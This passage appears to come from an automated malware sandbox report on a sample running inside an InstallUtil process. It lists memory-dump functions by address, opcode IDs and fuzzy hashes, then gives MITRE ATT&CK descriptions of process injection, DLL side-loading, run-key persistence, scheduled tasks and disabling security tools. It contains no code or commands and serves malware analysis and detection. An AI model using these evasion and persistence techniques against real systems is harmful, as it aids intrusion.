Opcode ID: 61ad8e49f3f133fdccf31d82fce3fd9be6d809627b7b3117bd14352f6d3797a6
Instruction ID: 202a7430058907575136a6be5ecc6abefb406b36e2312b2fc8c0b479db419db4
Opcode Fuzzy Hash: 61ad8e49f3f133fdccf31d82fce3fd9be6d809627b7b3117bd14352f6d3797a6
Instruction Fuzzy Hash: AA31C330E2435ADBEB14EFA4D4547AEB7B2EF45310F20C45AE40AE7290DBB0AC41DB52

Function 00F7112B Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01439eb6dffe56ca3a6f9a09cfb9edc97604ee10d7a82e0fac4f8c7f79047df2
Instruction ID: ee3a0808d5288289b481497aae1466b780fe8e43c6295749ecf66843544eaaef
Opcode Fuzzy Hash: 01439eb6dffe56ca3a6f9a09cfb9edc97604ee10d7a82e0fac4f8c7f79047df2
Instruction Fuzzy Hash: E141FD78209A838FC705FF28F890A857BB1FBD63053155AEDE11097A7AEB702955CF50

Function 00F71138 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07ad9dcad3695b6b6e9e9b430f43d53be44f15d33d46ea37a36eee9f37bdb057
Instruction ID: 87f81b057cb8981e41498e8d2dd6f210132e2362c4fe2356c98cccbf59d867c2
Opcode Fuzzy Hash: 07ad9dcad3695b6b6e9e9b430f43d53be44f15d33d46ea37a36eee9f37bdb057
Instruction Fuzzy Hash: 3041FD38209A83CFC605FF28F890A857BB1FBD63053115AADE1109BA7AFB702955CF50

Function 00F77D38 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15170e1659e417cb2b7d19eb450857c14f2de8b45c0783bd4cf05a038d9fb3f1
Instruction ID: 746fb7c6bca07c3e3a1060e436f26a998ea3e68bde221a89e30e16e14937d949
Opcode Fuzzy Hash: 15170e1659e417cb2b7d19eb450857c14f2de8b45c0783bd4cf05a038d9fb3f1
Instruction Fuzzy Hash: E6318330E1430A9BDB25EFA4D4547AEB7B2EF49310F20C46AE805EB290DB709C45DB92

Function 00F75047 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9995267d32bb48210e40f433312d3db367c212be8e79e164ca42ed5a6398247a
Instruction ID: e543252e419b7203c21ae1d8786b29b10cf2e76f75f0e00260afe6f584896de8
Opcode Fuzzy Hash: 9995267d32bb48210e40f433312d3db367c212be8e79e164ca42ed5a6398247a
Instruction Fuzzy Hash: 3031A134B00605CFCB14EB34C9506ED33B2BF89755F1044A9D40AAB3A1DB7ACC45DB92

Function 00F72698 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0723a5020985f4e472ae626dc2e12e8be951f4e1e5e3610588d38da61f0c27c8
Instruction ID: 8c5a8bf29a5358a63920754c6c3a4c8b1807e3f7922b13c812c18579ebd3ae88
Opcode Fuzzy Hash: 0723a5020985f4e472ae626dc2e12e8be951f4e1e5e3610588d38da61f0c27c8
Instruction Fuzzy Hash: FD41CEB0D00349DFDB14DFA9C584A9EBBB5EF48710F14802AE819AB250DB75A946CB91

Function 00F7268D Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70dfdf7bf2614f79e9fa969776e1db661e2cb675591291a2374c3ef21732458b
Instruction ID: 0b69eadb5bdf74a7107398cece0d443a47b73406adc5155de288fa2c83ba57fb
Opcode Fuzzy Hash: 70dfdf7bf2614f79e9fa969776e1db661e2cb675591291a2374c3ef21732458b
Instruction Fuzzy Hash: BA41EEB0D0034DDFDB14DFA9C580ADEBBB5FF48310F24802AE819AB250DB75A946CB91

Function 00F7A05F Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df37b5c77b0b9e62be8807c3b8c0155bc1f55f169591603fb552007d011c9d1f
Instruction ID: 59ccd3f52f78f7ea350356754fbf641ef9167992c416c100dbb126cd019245e8
Opcode Fuzzy Hash: df37b5c77b0b9e62be8807c3b8c0155bc1f55f169591603fb552007d011c9d1f
Instruction Fuzzy Hash: F231A431E0460A9BDB15DF64D4547DEB7B2EFC5310F11CA1AE909AB241DB719842CB52

Function 00F75058 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 331d9dec064fc982d0d3322e9e0741697020c1623d0560ae365350e3cad97c20
Instruction ID: 4d45583d0d036ef27c0b8fabdeb396bc5f5d8fce904827569923564c789d4ebd
Opcode Fuzzy Hash: 331d9dec064fc982d0d3322e9e0741697020c1623d0560ae365350e3cad97c20
Instruction Fuzzy Hash: 0B319034B00615CFCB14EB78C9106AE73B2BF89715F1044A9D409AB7A4DFB6DC41DB92

Function 00DCD005 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529244036.0000000000DCD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DCD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_dcd000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1c41c2f348abcd7508e59c64ad7131aaa2f1d1d5189ed579ec6e3e00d308add
Instruction ID: a8eec28d03a11ce2f67071784065c5c4a278475d48561ad1ac71bf6013f1e0a8
Opcode Fuzzy Hash: e1c41c2f348abcd7508e59c64ad7131aaa2f1d1d5189ed579ec6e3e00d308add
Instruction Fuzzy Hash: B6312C7150E3C49FC7138B64C9A0B11BF71AF47214F1985EBD8898F1A3C26A980ACB72

Function 00F71828 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: baafcef38385d6c47e671265190b4742bb557f181988d0f95c6de5907bc8e7cd
Instruction ID: 63299240dd01befb2b061076901a5672a7544cfbff350bbffb61493b388519fc
Opcode Fuzzy Hash: baafcef38385d6c47e671265190b4742bb557f181988d0f95c6de5907bc8e7cd
Instruction Fuzzy Hash: B1218C35B00205CBDB24DB68D9117AD77F1FB89314F1044AAD50AEB390DB358D49DB92

Function 00F7A847 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd6046c01a0af93445cce5bc4c8b992c67b01be0ad62227efd2bb8b36697d0d1
Instruction ID: 5abaa0e93996d0c04428564333a1e67ab003e136aae15a259d0e39a80f13746e
Opcode Fuzzy Hash: cd6046c01a0af93445cce5bc4c8b992c67b01be0ad62227efd2bb8b36697d0d1
Instruction Fuzzy Hash: D721A731A001089FEB14DB69C854BAE7BF6EF88720F26C166E505EB3A5DA71CD408763

Function 00F7A070 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e3fb2f1b7d8406ebfdaf2f69a132f5f939002144cef9c64ed1a0f9a0d2c50ae
Instruction ID: c4bd0cf7c7d85061954fd75b76efca8c2f9d5e664b7fdbd15799ff2a47c1514e
Opcode Fuzzy Hash: 1e3fb2f1b7d8406ebfdaf2f69a132f5f939002144cef9c64ed1a0f9a0d2c50ae
Instruction Fuzzy Hash: E7215131E1060ADBDB15DFA4D45069EB7B2EFC5310F51CA1AE805AB241DB71AD41CB52

Function 00F7164F Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89a98e2b7d3a12453e0ceeabb3bafafafe93fb62df652ea663e9220a3753c169
Instruction ID: 62427bac0223f9887596768d79fbf46b018013e849e65bc4529a0f6b0182d1c6
Opcode Fuzzy Hash: 89a98e2b7d3a12453e0ceeabb3bafafafe93fb62df652ea663e9220a3753c169
Instruction Fuzzy Hash: F021C9789001438FEF21E73CF8947593722F756314F1185A6E109C7695EB74CC5ADB82

Function 00F76B51 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af2a32ae4772db999d5f7e6f3aef746464c7c76381063fd2f5d5d2d339dd0be7
Instruction ID: 481314c2e895ccb4f19edf141c41ff948a6c74a1d204274156dd2b88f6da3412
Opcode Fuzzy Hash: af2a32ae4772db999d5f7e6f3aef746464c7c76381063fd2f5d5d2d339dd0be7
Instruction Fuzzy Hash: 28210530B045449FD715AB78E4216EE3BB2EF8A310B0184AED545CB396EF399D06D7A2

Function 00F74F39 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aaa57267be4bfaef55a811063d71b20fdd67ed0585f3cea380c981c8118bc212
Instruction ID: a0cd293793aa9c588ea8450399780dae8483cbff848098c4e58b98887df70348
Opcode Fuzzy Hash: aaa57267be4bfaef55a811063d71b20fdd67ed0585f3cea380c981c8118bc212
Instruction Fuzzy Hash: 26212C34600205CFCB14EF78D958BAD7BF1EB88710F104469E40AEB3A1EB759D05DBA2

Function 00F7143B Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2ab8f60f612aef4fbf2e788bf6044904c90360bf2506121753096a317d8602d
Instruction ID: 3e99c1c0c02e210241435750079872a12ee0151bf6f3d52d9ebaa891380421a6
Opcode Fuzzy Hash: a2ab8f60f612aef4fbf2e788bf6044904c90360bf2506121753096a317d8602d
Instruction Fuzzy Hash: 2D219072E002119BCB21EFBC98402ED7BF5EF5A324B1184BBD40DDB242E635C8879792

Function 00DCD044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529244036.0000000000DCD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DCD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_dcd000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18b57358e0313b8d16319e6ee3191aee089123afcc721d47387dd30e9a84f76d
Instruction ID: 927da6c9262564d268422ba0169ff408962f5bd38fb71ae15e668141a36a9a5a
Opcode Fuzzy Hash: 18b57358e0313b8d16319e6ee3191aee089123afcc721d47387dd30e9a84f76d
Instruction Fuzzy Hash: F621D071604205EFDB14DF28D9C0F26BB66FB84314F24C57DE9494B282C77AD846DA72

Function 00F71333 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a4716c3beecdadef3b8aeeb7eb090f989871800f3b128f6b8c64a5ae3aed4c4
Instruction ID: 9b8db66eedcd494c734db37f9f99e6681ef623a46ce89c0a79dad8901a0c6960
Opcode Fuzzy Hash: 4a4716c3beecdadef3b8aeeb7eb090f989871800f3b128f6b8c64a5ae3aed4c4
Instruction Fuzzy Hash: 3D219D74E002038BEB356B6CE4A83683765FB57321F10486BE40BC7781DA69CC99DB63

Function 00F79F60 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbf8da6a628101838b5fe62d396b3c2001d1620fc2859d0f8c39493536f401d9
Instruction ID: 9b896a353f8d77c1bbe08e9bb5e5ccaf696b8a26ae6d5f16ad466363173539e8
Opcode Fuzzy Hash: fbf8da6a628101838b5fe62d396b3c2001d1620fc2859d0f8c39493536f401d9
Instruction Fuzzy Hash: B0216031E04606CBCB19CFA4D4506EEB7B2AF89310F11CA1BE816FB390DB70A845DB52

Function 00F71773 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9638c99b8e97807a4ef37d7606ccf5eeb0e7f302f0203ba95144d2be901dad9
Instruction ID: 071dc247631973a754426f50a830811211995f358d83a63602a306c5e3f42f6b
Opcode Fuzzy Hash: c9638c99b8e97807a4ef37d7606ccf5eeb0e7f302f0203ba95144d2be901dad9
Instruction Fuzzy Hash: 56112976F052524FCF11AB78990469E7BF5FB89260F10856AE509C7341E738CD0BD792

Function 00F71838 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6de7d6e6ec93a74a020c8a4cd64973400d4c0517645f41c298ee002a12d14cf7
Instruction ID: 314260295b4c135d617d912625b71d5db40ab050afee37e7188ae6bcd65159d6
Opcode Fuzzy Hash: 6de7d6e6ec93a74a020c8a4cd64973400d4c0517645f41c298ee002a12d14cf7
Instruction Fuzzy Hash: EE212A34B00205CFDB14EB6CC5256AE77F6BB89310F10446AD50AEB3A0DB359D45EBA2

Function 00F71660 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06f069f9e1ba2b463af1567dedb67285cd46e69fdef935aa44ada02bf9e3512d
Instruction ID: e16f151ab43edbdfa00f142d72579970790b4b8b594d6237dd01fbae08a95efc
Opcode Fuzzy Hash: 06f069f9e1ba2b463af1567dedb67285cd46e69fdef935aa44ada02bf9e3512d
Instruction Fuzzy Hash: 9C218138A001038BEF21FB3CF894B593726FB55324F118966E10ACB655EB749C59DB82

Function 00F74F48 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb6a456e14afcfa81b980dd08469446ecb882f0edc52786c682e6a1234014c9a
Instruction ID: 72f52a0843c756e3787bc123cc1e428b94128721e07682df708034c4605abf24
Opcode Fuzzy Hash: bb6a456e14afcfa81b980dd08469446ecb882f0edc52786c682e6a1234014c9a
Instruction Fuzzy Hash: 82211934B00605CFDB14EB78D958BAD7BF1AF88710F104469E40AEB3A0EB759D00DBA2

Function 00F79F70 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db4b0cc13e8c050e69b7c2c65a6cf998abd5cab37bd5a3dbfb5ed789aa13cea6
Instruction ID: 9d11b126d9889552e643fdf1c9a7a4bc31f851f09ce013462a56145bc27db3f5
Opcode Fuzzy Hash: db4b0cc13e8c050e69b7c2c65a6cf998abd5cab37bd5a3dbfb5ed789aa13cea6
Instruction Fuzzy Hash: EA214F30E142159BCB09CFA4D4506DEF7B6AF89310F10C61AE815FB390DB70A845CB51

Function 00F70848 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb0e9fa500a848962b4afe19ba5bf70bc2b09c0ed58ca528db2fd345f5a4fd17
Instruction ID: eb2b24714b40d0fe7220ec437cbdfabaa6f30dc71370b8834b9692d63fc97500
Opcode Fuzzy Hash: eb0e9fa500a848962b4afe19ba5bf70bc2b09c0ed58ca528db2fd345f5a4fd17
Instruction Fuzzy Hash: 06118F30F00209DBEF146B79D45476A3261EF46724F20887AE10ACF386DE65DC45ABD3

Function 00F70838 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a24584c5b9f08875ddb6c1c31a82f867bc9802e39be941dffed84b79ad40b465
Instruction ID: e87d0628f1cf7b9c648b9de92cc43dd2420e5c6c95e8efc2ce1fa13df8045b83
Opcode Fuzzy Hash: a24584c5b9f08875ddb6c1c31a82f867bc9802e39be941dffed84b79ad40b465
Instruction Fuzzy Hash: 04119E30A04209DBEF256BB9D81476A3661EF46324F24C87BD10ACB286DF65DC45ABD3

Function 00F71448 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d27e4f176a60737dd670186b854bf70c840b80ee71fdd52a7db6405766221656
Instruction ID: 7e126316351216250fba0b3e18567a7237e99c950f94589c1de6ba0d9e2a9de0
Opcode Fuzzy Hash: d27e4f176a60737dd670186b854bf70c840b80ee71fdd52a7db6405766221656
Instruction Fuzzy Hash: 73014431E00215DBCB61EFBC885119D77F5FF49324B24847BD40DE7241EA35D9469792

Function 00F7A6B0 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5acefb180fb96a69fd6903ad454076f13dcce1219f1e5bd70c1851dddddd859
Instruction ID: ee86fdea0849346c8e32c2f5b215de4811291526c1cc3c75d8b23cb00f5fa3ca
Opcode Fuzzy Hash: d5acefb180fb96a69fd6903ad454076f13dcce1219f1e5bd70c1851dddddd859
Instruction Fuzzy Hash: 8901C431A002048BDB04EF65E8847DABB75EF85310F54C174D80C5F29AE770AE06CBA2

Function 00F77E60 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab9ca05afdc9c6e5a64da2b27999c43460626a7a0b7cfa6446ae07f915110890
Instruction ID: 7520442598a1bf46a7c9146cee28811fd9bc0c181c73d5bbf24cc04aedf8ad93
Opcode Fuzzy Hash: ab9ca05afdc9c6e5a64da2b27999c43460626a7a0b7cfa6446ae07f915110890
Instruction Fuzzy Hash: D3115A39B04252CFC704EB78E45CA597BB2EF88315B244499E406C73B4CB749C41DB41

Function 00F714D4 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e67a4a64725526ff4ee00bad20ab52f7882f7c7e067ffba9fb2eae6bee8a240d
Instruction ID: 3796d6ff05f1d2771d68bfa1d98f0bf40527360ab6be5e9aedd99b62e55d80da
Opcode Fuzzy Hash: e67a4a64725526ff4ee00bad20ab52f7882f7c7e067ffba9fb2eae6bee8a240d
Instruction Fuzzy Hash: 0CF0F637E04110CBD721CFAC98512AC7BB1FE563217198097D40DDB252D728D806E753

Function 00F78F00 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d0421f488855dd7a9792370355dc5877e44ca58b64afcb2f09447409563289
Instruction ID: e930bf09702a73f57ee9d51c058c3973e3744c02028b6076ebf8f0556c2a6143
Opcode Fuzzy Hash: 67d0421f488855dd7a9792370355dc5877e44ca58b64afcb2f09447409563289
Instruction Fuzzy Hash: 47017C3491114AEFDB02FFB8F9516CC7BB1EF84300F2045A8C1059B254EF706A159751

Function 00F78F10 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76437c3627f566dbfa87b2f6c2d70955d4b6a065a1d6a8283da17e0946b7ec87
Instruction ID: 236853d0c1bbf863d4d33e98cd98ae3b2a4ad67fea6c4b6a5ed4bc8c81aa6f2f
Opcode Fuzzy Hash: 76437c3627f566dbfa87b2f6c2d70955d4b6a065a1d6a8283da17e0946b7ec87
Instruction Fuzzy Hash: 94F03C34A0024AEFDB42FBB8F8526DDBBB1EB84300F5085A8C5059B254EF702E55DB91

Function 00F77EE1 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41e5741df3d4e74b4ef3adef73f4d30b686807fadeb28e0892d555800b150c81
Instruction ID: cb946f3d824e49762b402ed9c37dc80c3dea1a11e8fd5b1dd945fc9462bf581b
Opcode Fuzzy Hash: 41e5741df3d4e74b4ef3adef73f4d30b686807fadeb28e0892d555800b150c81
Instruction Fuzzy Hash: FCC08C2A9183DAC9CB5062A8B8183D83B20CB80336F20089BD2098196087B009E8AA62

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
